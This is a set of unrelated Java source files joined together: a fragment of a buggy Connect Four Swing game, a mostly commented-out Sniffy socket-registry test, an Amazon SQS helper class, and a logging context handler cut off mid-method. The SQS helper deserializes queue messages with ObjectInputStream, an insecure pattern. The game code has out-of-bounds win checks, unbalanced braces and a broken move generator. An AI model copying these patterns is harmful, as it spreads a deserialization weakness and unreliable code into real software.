// grid[4][1] = new JTextField();
grid[4][1].setEnabled(false);
grid[4][1].setColumns(10);
grid[4][1].setBounds(109, 169, 86, 20);
contentPane.add(grid[4][1]);
// grid[4][2] = new JTextField();
grid[4][2].setEnabled(false);
grid[4][2].setColumns(10);
grid[4][2].setBounds(211, 169, 86, 20);
contentPane.add(grid[4][2]);
// grid[4][3] = new JTextField();
grid[4][3].setEnabled(false);
grid[4][3].setColumns(10);
grid[4][3].setBounds(310, 169, 86, 20);
contentPane.add(grid[4][3]);
// grid[4][4] = new JTextField();
grid[4][4].setEnabled(false);
grid[4][4].setColumns(10);
grid[4][4].setBounds(406, 169, 86, 20);
contentPane.add(grid[4][4]);
// grid[4][5] = new JTextField();
grid[4][5].setEnabled(false);
grid[4][5].setColumns(10);
grid[4][5].setBounds(508, 169, 86, 20);
contentPane.add(grid[4][5]);
// grid[4][6] = new JTextField();
grid[4][6].setEnabled(false);
grid[4][6].setColumns(10);
grid[4][6].setBounds(607, 169, 86, 20);
contentPane.add(grid[4][6]);
// grid[5][0] = new JTextField();
grid[5][0].setEnabled(false);
grid[5][0].setColumns(10);
grid[5][0].setBounds(10, 200, 86, 20);
contentPane.add(grid[5][0]);
// grid[5][1] = new JTextField();
grid[5][1].setEnabled(false);
grid[5][1].setColumns(10);
grid[5][1].setBounds(109, 200, 86, 20);
contentPane.add(grid[5][1]);
// grid[5][2] = new JTextField();
grid[5][2].setEnabled(false);
grid[5][2].setColumns(10);
grid[5][2].setBounds(211, 200, 86, 20);
contentPane.add(grid[5][2]);
// grid[5][3] = new JTextField();
grid[5][3].setEnabled(false);
grid[5][3].setColumns(10);
grid[5][3].setBounds(310, 200, 86, 20);
contentPane.add(grid[5][3]);
// grid[5][4] = new JTextField();
grid[5][4].setEnabled(false);
grid[5][4].setColumns(10);
grid[5][4].setBounds(406, 200, 86, 20);
contentPane.add(grid[5][4]);
// grid[5][5] = new JTextField();
grid[5][5].setEnabled(false);
grid[5][5].setColumns(10);
grid[5][5].setBounds(508, 200, 86, 20);
contentPane.add(grid[5][5]);
// grid[5][6] = new JTextField();
grid[5][6].setEnabled(false);
grid[5][6].setColumns(10);
grid[5][6].setBounds(607, 200, 86, 20);
contentPane.add(grid[5][6]);
// Error Checking Code
// for (int i = 0; i < 6; i++) {
// for (int j = 0; j < 7; j++) {
// grid[i][j].setText("Test.");
}
static void isFirstMove() {
for (int i = 0; i < scoreBoard.length; i++) {
for (int j = 0; j < scoreBoard.length; j++) {
if (scoreBoard[i][j] == -1) {
firstMove = true;
} else {
firstMove = false;
}
}
}
}
static void humanMove(int columnNumber) {
int emptyCell = 0;
for (int i = 0; i < 6; i++) {
if (grid[i][columnNumber].getText().isEmpty()) {
emptyCell = i;
}
// if (grid.length - 6 == i
// && grid[i][columnNumber].getText().isEmpty()) {
// grid[i][columnNumber].setBackground(Color.BLUE);
// grid[i][columnNumber].setText(" ");
// break;
// if (grid.length - 5 == i
// && grid[i][columnNumber].getText().isEmpty()) {
// grid[i][columnNumber].setBackground(Color.BLUE);
// grid[i][columnNumber].setText(" ");
// break;
// if (grid.length - 4 == i
// && grid[i][columnNumber].getText().isEmpty()) {
// grid[i][columnNumber].setBackground(Color.BLUE);
// grid[i][columnNumber].setText(" ");
// break;
// if (grid.length - 3 == i &&
// grid[i][columnNumber].getText().isEmpty()) {
// grid[i][columnNumber].setBackground(Color.BLUE);
// grid[i][columnNumber].setText(" ");
// break;
// if (grid.length - 2 == i &&
// grid[i][columnNumber].getText().isEmpty()) {
// grid[i][columnNumber].setBackground(Color.BLUE);
// grid[i][columnNumber].setText(" ");
// break;
// if (grid.length - 1 == i &&
// grid[i][columnNumber].getText().isEmpty()) {
// grid[i][columnNumber].setBackground(Color.BLUE);
// grid[i][columnNumber].setText(" ");
// break;
}
grid[emptyCell][columnNumber].setBackground(Color.BLUE);
grid[emptyCell][columnNumber].setText(" ");
scoreBoard[emptyCell][columnNumber] = 1;
// humanWin = checkWinnerHuman();
computerMove();
// boolean flag = true;
// isFirstMove();
// while (flag) {
// for (int i = 0; i <= 5; i++) {
// if (grid.length - 1 == i && grid[i][columnNumber].getText().isEmpty()
// && firstMove) {
// grid[i][columnNumber].setBackground(Color.BLUE);
// grid[i][columnNumber].setText(" ");
// flag = false;
// } else if ((grid.length - 1 != i) && !firstMove) {
// if (grid[i + 1][columnNumber].getText().isEmpty()) {
// grid[i][columnNumber].setBackground(Color.BLUE);
// grid[i][columnNumber].setText(" ");
// flag = false;
}
static int[] generateRandom() {
int[] computerMoveBox = new int[2];
Random rand = new Random();
int randomColumn = rand.nextInt((6 - 0) + 1) + 0;
int emptyCell = 0;
for (int i = 0; i < 6; i++) {
if (grid[i][randomColumn].getText().isEmpty()) {
emptyCell = i;
}
}
if (grid[emptyCell][randomColumn].getText().isEmpty()) {
computerMoveBox[0] = emptyCell;
computerMoveBox[0] = randomColumn;
return computerMoveBox;
} else {
generateRandom();
}
return null;
}
static void computerMove() {
// if (!humanWin) {
// int a[] = generateRandom();
// JOptionPane.showMessageDialog(contentPane, grid.length);
// JOptionPane.showMessageDialog(contentPane, a[0]+" "+a[1]);
// grid[a[0]][a[1]].setBackground(Color.RED);
// grid[a[0]][a[1]].setText(" ");
Random rand = new Random();
int randomNum = rand.nextInt((6 - 0) + 1) + 0;
int emptyCell = 0;
for (int i = 0; i < 6; i++) {
if (grid[i][randomNum].getText().isEmpty()) {
emptyCell = i;
}
}
grid[emptyCell][randomNum].setBackground(Color.RED);
grid[emptyCell][randomNum].setText(" ");
scoreBoard[emptyCell][randomNum] = 2;
if (!grid[0][randomNum].getText().isEmpty()) {
if (randomNum==0) {
columnOneButton.setEnabled(false);
} else if (randomNum==1) {
columnTwoButton.setEnabled(false);
} else if (randomNum==2) {
columnThreeButton.setEnabled(false);
} else if (randomNum==3) {
columnFourButton.setEnabled(false);
} else if (randomNum==4) {
columnFiveButton.setEnabled(false);
} else if (randomNum==5) {
columnSixButton.setEnabled(false);
} else if (randomNum==6) {
columnSevenButton.setEnabled(false);
}
}
// checkWinnerHuman();
}
static void clearBoard() {
for (int i = 0; i < 6; i++) {
for (int j = 0; j < 7; j++) {
grid[i][j].setBackground(Color.WHITE);
grid[i][j].setText(null);
scoreBoard[i][j] = -1;
}
}
}
static boolean horizontalCheck() {
for (int i = 0; i < 6; i++) {
for (int j = 0; j < 7; j++) {
if (scoreBoard[i][j] == 1 && scoreBoard[i][j + 1] == 1
&& scoreBoard[i][j + 2] == 1
&& scoreBoard[i][j + 3] == 1) {
JOptionPane.showMessageDialog(null, "You Win");
clearBoard();
return true;
}
}
}
return false;
}
static boolean verticalCheck() {
for (int i = 0; i < 6; i++) {
for (int j = 0; j < 7; j++) {
if (scoreBoard[i][j] == 1 && scoreBoard[i + 1][j] == 1
&& scoreBoard[i + 2][j] == 1
&& scoreBoard[i + 3][j] == 1) {
JOptionPane.showMessageDialog(null, "You Win");
clearBoard();
return true;
}
}
}
return false;
}
static boolean checkWinnerHuman() {
// for (int i = 0; i < 6; i++) {
// for (int j = 0; j < 7; j++) {
// (scoreBoard[i][j]==1&&scoreBoard[i][j+1]==1&&scoreBoard[i][j+2]==1&&scoreBoard[i][j+3]==1)
// JOptionPane.showMessageDialog(null, "You Win");
// clearBoard();
// return true;
return (horizontalCheck()) ? true : false;
// for (int i = 0; i < 6; i++) {
// for (int j = 0; j < 7; j++) {
// (scoreBoard[i][j]==1&&scoreBoard[i+1][j]==1&&scoreBoard[i+2][j]==1&&scoreBoard[i+3][j]==1)
// JOptionPane.showMessageDialog(null, "WIner detected"+"Second loop");
// return true;
}
}
|
package io.sniffy.registry;
import com.eclipsesource.json.Json;
import com.eclipsesource.json.JsonValue;
import io.sniffy.socket.BaseSocketTest;
import io.sniffy.socket.SnifferSocketImplFactory;
import io.sniffy.socket.SniffyNetworkConnection;
import org.junit.After;
import org.junit.Test;
import ru.yandex.qatools.allure.annotations.Issue;
import java.io.StringReader;
import java.io.StringWriter;
import java.lang.ref.Reference;
import java.net.*;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.atomic.AtomicReference;
import static org.junit.Assert.*;
public class ConnectionsRegistryTest extends BaseSocketTest {
@After
public void clearConnectionRules() {
ConnectionsRegistry.INSTANCE.clear();
}
@Test
public void testConnectionClosed() throws Exception {
SnifferSocketImplFactory.uninstall();
/*SnifferSocketImplFactory.uninstall();
SnifferSocketImplFactory.install();
ConnectionsRegistry.INSTANCE.setSocketAddressStatus(localhost.getHostName(), echoServerRule.getBoundPort(), -1);
Socket socket = null;
try {
socket = new Socket(localhost, echoServerRule.getBoundPort());
fail("Should have failed since this connection is forbidden by sniffy");
} catch (ConnectException e) {
assertNotNull(e);
} finally {
if (null != socket) socket.close();
}*/
}
/*
@Test
public void testThreadLocalConnectionClosed() throws Exception {
SnifferSocketImplFactory.uninstall();
SnifferSocketImplFactory.install();
try {
ConnectionsRegistry.INSTANCE.setThreadLocal(true);
HashMap<Map.Entry<String, Integer>, Integer> expected = new HashMap<>();
expected.put(new AbstractMap.SimpleEntry<>(localhost.getHostName(), echoServerRule.getBoundPort()), -1);
ConnectionsRegistry.INSTANCE.setThreadLocalDiscoveredAddresses(expected);
Map<Map.Entry<String, Integer>, Integer> actual = ConnectionsRegistry.INSTANCE.getDiscoveredAddresses();
assertEquals(expected, actual);
Socket socket = null;
try {
socket = new Socket(localhost, echoServerRule.getBoundPort());
fail("Should have failed since this connection is forbidden by sniffy");
} catch (ConnectException e) {
assertNotNull(e);
} finally {
if (null != socket) socket.close();
}
AtomicReference<Socket> socketReference = new AtomicReference<>();
AtomicReference<Exception> exceptionReference = new AtomicReference<>();
Thread t = new Thread(() -> {
try {
socketReference.set(new Socket(localhost, echoServerRule.getBoundPort()));
} catch (Exception e) {
exceptionReference.set(e);
}
});
t.start();
t.join(1000);
assertNull(exceptionReference.get());
socket = socketReference.get();
assertNotNull(socket);
assertTrue(socket.isConnected());
// Close socket in a separate thread cause closing it from current is prohibited by Sniffy
try {
socket.close();
fail("Should have thrown Exception");
} catch (SocketException e) {
assertNotNull(e);
}
t = new Thread(() -> {
try {
socketReference.get().close();
} catch (Exception e) {
exceptionReference.set(e);
}
});
t.start();
t.join(1000);
assertNull(exceptionReference.get());
} finally {
ConnectionsRegistry.INSTANCE.clear();
ConnectionsRegistry.INSTANCE.setThreadLocal(false);
}
}
@Test
public void testIsNullConnectionOpened() {
assertEquals(0, ConnectionsRegistry.INSTANCE.resolveSocketAddressStatus(null, null));
assertEquals(0, ConnectionsRegistry.INSTANCE.resolveSocketAddressStatus(new InetSocketAddress((InetAddress) null, 5555), null));
assertEquals(0, ConnectionsRegistry.INSTANCE.resolveSocketAddressStatus(new InetSocketAddress("bad host address", 5555), null));
}
@Test
public void testConnectionOpened() throws Exception {
SnifferSocketImplFactory.uninstall();
SnifferSocketImplFactory.install();
Socket socket = new Socket(localhost, echoServerRule.getBoundPort());
assertTrue(socket.isConnected());
socket.close();
}
@Test
public void testLoadFromReader() throws Exception {
String json = "{\"sockets\":[{\"host\":\"google.com\",\"port\":\"42\",\"status\":0}]," +
"\"dataSources\":[{\"url\":\"jdbc:h2:mem:test\",\"userName\":\"sa\",\"status\":-1}]}";
ConnectionsRegistry.INSTANCE.readFrom(new StringReader(json));
Map<Map.Entry<String, Integer>, Integer> discoveredAddresses =
ConnectionsRegistry.INSTANCE.getDiscoveredAddresses();
assertEquals(1, discoveredAddresses.size());
assertEquals(0, discoveredAddresses.get(new AbstractMap.SimpleEntry<>("google.com", 42)).intValue());
Map<Map.Entry<String, String>, Integer> discoveredDataSources =
ConnectionsRegistry.INSTANCE.getDiscoveredDataSources();
assertEquals(1, discoveredDataSources.size());
assertEquals(-1, discoveredDataSources.get(new AbstractMap.SimpleEntry<>("jdbc:h2:mem:test", "sa")).intValue());
}
@Test
public void testWriteToWriter() throws Exception {
ConnectionsRegistry.INSTANCE.setDataSourceStatus("dataSource", "userName", 0);
ConnectionsRegistry.INSTANCE.setSocketAddressStatus("localhost", 6666, -1);
StringWriter sw = new StringWriter();
ConnectionsRegistry.INSTANCE.writeTo(sw);
String persistedConnectionsRegistry = sw.getBuffer().toString();
assertNotNull(persistedConnectionsRegistry);
}
@Test
@Issue("issues/302")
public void testSerializeSpecialCharacters() throws Exception {
ConnectionsRegistry.INSTANCE.clear();
final String CONNECTION_URL = "jdbc:h2:c:\\work\\keycloak-3.0.0.CR1\\standalone\\data/keycloak;AUTO_SERVER=TRUE";
ConnectionsRegistry.INSTANCE.setDataSourceStatus(CONNECTION_URL, "sa", 0);
StringWriter sw = new StringWriter();
ConnectionsRegistry.INSTANCE.writeTo(sw);
String persistedConnectionsRegistry = sw.getBuffer().toString();
assertNotNull(persistedConnectionsRegistry);
JsonValue connectionRegistryJson = Json.parse(persistedConnectionsRegistry);
assertEquals(
CONNECTION_URL,
connectionRegistryJson.asObject().get("dataSources").asArray().get(0).asObject().get("url").asString()
);
}
@Test
@Issue("issues/317")
public void testResolveSocketAddressStatus() throws Exception {
final AtomicInteger lastConnectionStatus = new AtomicInteger();
{
SniffyNetworkConnection sniffyNetworkConnection = new SniffyNetworkConnection() {
@Override
public InetSocketAddress getInetSocketAddress() {
return null;
}
@Override
public void setConnectionStatus(Integer connectionStatus) {
lastConnectionStatus.set(connectionStatus);
}
// TODO: do something with non implemented bethod below
@Override
public int getPotentiallyBufferedInputBytes() {
return 0;
}
@Override
public void setPotentiallyBufferedInputBytes(int potentiallyBufferedInputBytes) {
}
@Override
public int getPotentiallyBufferedOutputBytes() {
return 0;
}
@Override
public void setPotentiallyBufferedOutputBytes(int potentiallyBufferedOutputBytes) {
}
@Override
public long getLastReadThreadId() {
return 0;
}
@Override
public void setLastReadThreadId(long lastReadThreadId) {
}
@Override
public long getLastWriteThreadId() {
return 0;
}
@Override
public void setLastWriteThreadId(long lastWriteThreadId) {
}
@Override
public int getReceiveBufferSize() {
return 0;
}
@Override
public void setReceiveBufferSize(int receiveBufferSize) {
}
@Override
public int getSendBufferSize() {
return 0;
}
@Override
public void setSendBufferSize(int sendBufferSize) {
}
@Override
public void logSocket(long millis) {
}
@Override
public void logSocket(long millis, int bytesDown, int bytesUp) {
}
@Override
public void checkConnectionAllowed() throws ConnectException {
}
@Override
public void checkConnectionAllowed(int numberOfSleepCycles) throws ConnectException {
}
@Override
public void checkConnectionAllowed(InetSocketAddress inetSocketAddress) throws ConnectException {
}
@Override
public void checkConnectionAllowed(InetSocketAddress inetSocketAddress, int numberOfSleepCycles) throws ConnectException {
}
};
ConnectionsRegistry.INSTANCE.resolveSocketAddressStatus(new InetSocketAddress(InetAddress.getByAddress(new byte[]{127, 0, 0, 1}), 5555), sniffyNetworkConnection);
ConnectionsRegistry.INSTANCE.setSocketAddressStatus("127.0.0.1", 5555, -42);
}
assertEquals(-42, lastConnectionStatus.get());
}
@Test
@Issue("issues/317")
public void testWeakReferenceQueue() throws Exception {
ConnectionsRegistry.INSTANCE.sniffySocketImpls.clear();
InetSocketAddress inetSocketAddress = new InetSocketAddress(InetAddress.getByAddress(new byte[]{127, 0, 0, 1}), 5555);
final AtomicInteger lastConnectionStatus = new AtomicInteger();
{
SniffyNetworkConnection sniffyNetworkConnection = new SniffyNetworkConnection() {
@Override
public InetSocketAddress getInetSocketAddress() {
return inetSocketAddress;
}
@Override
public void setConnectionStatus(Integer connectionStatus) {
lastConnectionStatus.set(connectionStatus);
}
// TODO: do something with non implemented bethod below
@Override
public int getPotentiallyBufferedInputBytes() {
return 0;
}
@Override
public void setPotentiallyBufferedInputBytes(int potentiallyBufferedInputBytes) {
}
@Override
public int getPotentiallyBufferedOutputBytes() {
return 0;
}
@Override
public void setPotentiallyBufferedOutputBytes(int potentiallyBufferedOutputBytes) {
}
@Override
public long getLastReadThreadId() {
return 0;
}
@Override
public void setLastReadThreadId(long lastReadThreadId) {
}
@Override
public long getLastWriteThreadId() {
return 0;
}
@Override
public void setLastWriteThreadId(long lastWriteThreadId) {
}
@Override
public int getReceiveBufferSize() {
return 0;
}
@Override
public void setReceiveBufferSize(int receiveBufferSize) {
}
@Override
public int getSendBufferSize() {
return 0;
}
@Override
public void setSendBufferSize(int sendBufferSize) {
}
@Override
public void logSocket(long millis) {
}
@Override
public void logSocket(long millis, int bytesDown, int bytesUp) {
}
@Override
public void checkConnectionAllowed() throws ConnectException {
}
@Override
public void checkConnectionAllowed(int numberOfSleepCycles) throws ConnectException {
}
@Override
public void checkConnectionAllowed(InetSocketAddress inetSocketAddress) throws ConnectException {
}
@Override
public void checkConnectionAllowed(InetSocketAddress inetSocketAddress, int numberOfSleepCycles) throws ConnectException {
}
};
ConnectionsRegistry.INSTANCE.resolveSocketAddressStatus(inetSocketAddress, sniffyNetworkConnection);
ConnectionsRegistry.INSTANCE.setSocketAddressStatus("127.0.0.1", 5555, -42);
}
assertEquals(-42, lastConnectionStatus.get());
ConnectionsRegistry.INSTANCE.sniffySocketImpls.forEach((kve, sniffySocketReferences) -> sniffySocketReferences.forEach(Reference::enqueue));
Thread.sleep(1000);
ConnectionsRegistry.INSTANCE.setSocketAddressStatus("127.0.0.1", 5555, 200);
assertEquals(-42, lastConnectionStatus.get());
}*/
}
|
package pl.softwaremill.common.sqs;
import com.xerox.amazonws.sqs2.Message;
import com.xerox.amazonws.sqs2.MessageQueue;
import com.xerox.amazonws.sqs2.SQSException;
import com.xerox.amazonws.sqs2.SQSUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import pl.softwaremill.common.sqs.exception.SQSRuntimeException;
import pl.softwaremill.common.sqs.util.Base64Coder;
import pl.softwaremill.common.sqs.util.SQSAnswer;
import java.io.*;
import static pl.softwaremill.common.sqs.SQSConfiguration.*;
public class SQSManager {
private static final Logger log = LoggerFactory.getLogger(SQSManager.class);
private static final int REDELIVERY_LIMIT = 10;
/**
* @param queue the name of the SQS queue for which to set the timeout
* @param timeout timeout in seconds for the whole queue (default is 30) - value is limited to 43200 seconds (12 hours)
*/
public static void setQueueVisibilityTimeout(String queue, int timeout) {
try {
MessageQueue msgQueue = SQSUtils.connectToQueue(queue, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY);
msgQueue.setVisibilityTimeout(timeout);
} catch (SQSException e) {
throw new SQSRuntimeException("Could not setup SQS queue: " + queue, e);
}
}
/**
* Sends a serializable message to an SQS queue using the Base64Coder util to encode it properly
*
* @param queue the SQS queue the message is sent to
* @param message a Serializable object
*/
public static void sendMessage(String queue, Serializable message) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try {
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(message);
oos.flush();
oos.close();
baos.close();
} catch (IOException e) {
throw new SQSRuntimeException("Could not create stream, SQS message not sent: ", e);
}
String encodedMessage = new String(Base64Coder.encode(baos.toByteArray()));
log.debug("Serialized Message: " + encodedMessage);
for (int i = 0; i < REDELIVERY_LIMIT; i++) {
try {
MessageQueue msgQueue = SQSUtils.connectToQueue(queue, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY);
String msgId = msgQueue.sendMessage(encodedMessage);
log.info("Sent message with id " + msgId + " to queue " + queue);
i = REDELIVERY_LIMIT;
} catch (SQSException e) {
log.error("Colud not sent message to SQS queue: " + queue, e);
if (i == REDELIVERY_LIMIT) {
throw new SQSRuntimeException("Exceeded redelivery value: " + REDELIVERY_LIMIT + "; message not sent! ", e);
}
log.info("Retrying in 10 seconds");
try {
Thread.sleep(10000);
} catch (InterruptedException e1) {
e1.printStackTrace();
}
}
}
}
/**
* Receives a message from a SQS queue and decodes it properly to an object using the Base64Coder util
*
* @param queue the SQS queue the message is received from
* @return SQSAnswer holding an Object and the receipt handle for further processing
* or {@code null} if no message was available
*/
public static SQSAnswer receiveMessage(String queue) {
try {
log.debug("Polling queue " + queue);
MessageQueue msgQueue = SQSUtils.connectToQueue(queue, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY);
Message msg = msgQueue.receiveMessage();
if (msg != null) {
String data = msg.getMessageBody();
ByteArrayInputStream bais = new ByteArrayInputStream(Base64Coder.decode(data));
Object answer;
try {
ObjectInputStream ois = new ObjectInputStream(bais);
answer = ois.readObject();
} catch (IOException e) {
throw new SQSRuntimeException("I/O exception.", e);
} catch (ClassNotFoundException e) {
throw new SQSRuntimeException("Class of the serialized object cannot be found.", e);
}
log.info("Got message from queue " + queue);
return new SQSAnswer(answer, msg.getReceiptHandle());
} else {
return null;
}
} catch (SQSException e) {
throw new SQSRuntimeException("Could not receive message from SQS queue: " + queue, e);
}
}
/**
* Deletes a message from a SQS queue
*
* @param receiptHandle handle of the message to be deleted
* @param queue SQS queue the message is held
*/
public static void deleteMessage(String queue, String receiptHandle) {
try {
MessageQueue msgQueue = SQSUtils.connectToQueue(queue, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY);
msgQueue.deleteMessage(receiptHandle);
log.debug("Deleted message in queue: " + queue);
} catch (SQSException e) {
throw new SQSRuntimeException("Could not delete message in queue " + queue + "! This will cause a redelivery.", e);
}
}
/**
* Resets a messages timeout in a SQS queue
*
* @param receiptHandle handle of the message to be reset
* @param timeOut new timeout to be set
* @param queue SQS queue the message is held
*/
public static void setMessageVisibilityTimeout(String queue, String receiptHandle, int timeOut) {
try {
MessageQueue msgQueue = SQSUtils.connectToQueue(queue, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY);
msgQueue.setMessageVisibilityTimeout(receiptHandle, timeOut);
log.debug("Set timeout to " + timeOut + " seconds in queue: " + queue);
} catch (SQSException e) {
throw new SQSRuntimeException("Could not reset timeout for message in queue " + queue + "! This will cause a delay in redelivery.", e);
}
}
}
|
package com.diamondq.common.utils.context.logging;
import com.diamondq.common.utils.context.spi.ContextClass;
import com.diamondq.common.utils.context.spi.ContextHandler;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import java.util.function.Function;
import org.checkerframework.checker.nullness.qual.Nullable;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class LoggingContextHandler implements ContextHandler {
private ConcurrentMap<Class<?>, Logger> mLoggerMap = new ConcurrentHashMap<>();
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextStart(com.diamondq.common.utils.context.spi.ContextClass)
*/
@Override
public void executeOnContextStart(ContextClass pContext) {
if (pContext.getData(ContextHandler.sSIMPLE_CONTEXT) != null)
return;
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (logger.isTraceEnabled(LoggingUtils.sENTRY_MARKER)) {
String methodName = pContext.getLatestStackMethod();
LoggingUtils.entryWithMetaInternal(logger, LoggingUtils.sENTRY_MARKER, pContext.startThis, methodName,
pContext.argsHaveMeta, true, pContext.startArguments);
}
}
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextClose(com.diamondq.common.utils.context.spi.ContextClass,
* boolean)
*/
@Override
public void executeOnContextClose(ContextClass pContext, boolean pHasExplictlyExited) {
if (pContext.getData(ContextHandler.sSIMPLE_CONTEXT) != null)
return;
if (pHasExplictlyExited == false) {
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (logger.isTraceEnabled(LoggingUtils.sEXIT_MARKER)) {
String methodName = pContext.getLatestStackMethod();
LoggingUtils.exitInternal(logger, pContext.startThis, methodName, true, null, false, null, null);
}
}
}
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextExplicitExit(com.diamondq.common.utils.context.spi.ContextClass)
*/
@Override
public void executeOnContextExplicitExit(ContextClass pContext) {
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (logger.isTraceEnabled(LoggingUtils.sEXIT_MARKER)) {
String methodName = pContext.getLatestStackMethod();
LoggingUtils.exitInternal(logger, pContext.startThis, methodName, true, null, false, null, null);
}
}
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextExplicitExit(com.diamondq.common.utils.context.spi.ContextClass,
* java.lang.Object)
*/
@Override
public void executeOnContextExplicitExit(ContextClass pContext, @Nullable Object pArg) {
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (logger.isTraceEnabled(LoggingUtils.sEXIT_MARKER)) {
String methodName = pContext.getLatestStackMethod();
LoggingUtils.exitInternal(logger, pContext.startThis, methodName, true, null, true, pArg, null);
}
}
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextExplicitExitWithMeta(com.diamondq.common.utils.context.spi.ContextClass,
* java.lang.Object, java.util.function.Function)
*/
@Override
public void executeOnContextExplicitExitWithMeta(ContextClass pContext, @Nullable Object pArg,
@Nullable Function<@Nullable Object, @Nullable Object> pMeta) {
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (logger.isTraceEnabled(LoggingUtils.sEXIT_MARKER)) {
String methodName = pContext.getLatestStackMethod();
LoggingUtils.exitInternal(logger, pContext.startThis, methodName, true, null, true, pArg, pMeta);
}
}
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextExplicitThrowable(com.diamondq.common.utils.context.spi.ContextClass,
* java.lang.Throwable)
*/
@Override
public void executeOnContextExplicitThrowable(ContextClass pContext, Throwable pThrowable) {
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (logger.isTraceEnabled(LoggingUtils.sEXIT_MARKER)) {
String methodName = pContext.getLatestStackMethod();
LoggingUtils.exitInternal(logger, pContext.startThis, methodName, true, pThrowable, false, null, null);
}
}
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextReportTrace(com.diamondq.common.utils.context.spi.ContextClass,
* java.lang.String, java.lang.Object[])
*/
@Override
public void executeOnContextReportTrace(ContextClass pContext, @Nullable String pMessage,
@Nullable Object @Nullable... pArgs) {
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (pMessage == null) {
if (logger.isTraceEnabled(LoggingUtils.sSIMPLE_ENTRY_MARKER)) {
String methodName = pContext.getLatestStackMethod();
LoggingUtils.entryWithMetaInternal(logger, LoggingUtils.sSIMPLE_ENTRY_MARKER, pContext.startThis, methodName,
false, false, pArgs);
}
}
else {
if (logger.isTraceEnabled()) {
logger.trace(pMessage, pArgs);
}
}
}
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextReportDebug(com.diamondq.common.utils.context.spi.ContextClass,
* java.lang.String, java.lang.Object[])
*/
@Override
public void executeOnContextReportDebug(ContextClass pContext, @Nullable String pMessage,
@Nullable Object @Nullable... pArgs) {
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (logger.isDebugEnabled()) {
logger.debug(pMessage, pArgs);
}
}
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextReportInfo(com.diamondq.common.utils.context.spi.ContextClass,
* java.lang.String, java.lang.Object[])
*/
@Override
public void executeOnContextReportInfo(ContextClass pContext, @Nullable String pMessage,
@Nullable Object @Nullable... pArgs) {
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (logger.isInfoEnabled()) {
logger.info(pMessage, pArgs);
}
}
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextReportWarn(com.diamondq.common.utils.context.spi.ContextClass,
* java.lang.String, java.lang.Object[])
*/
@Override
public void executeOnContextReportWarn(ContextClass pContext, @Nullable String pMessage,
@Nullable Object @Nullable... pArgs) {
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (logger.isWarnEnabled()) {
logger.warn(pMessage, pArgs);
}
}
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextReportError(com.diamondq.common.utils.context.spi.ContextClass,
* java.lang.String, java.lang.Object[])
*/
@Override
public void executeOnContextReportError(ContextClass pContext, @Nullable String pMessage,
@Nullable Object @Nullable... pArgs) {
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (logger.isErrorEnabled()) {
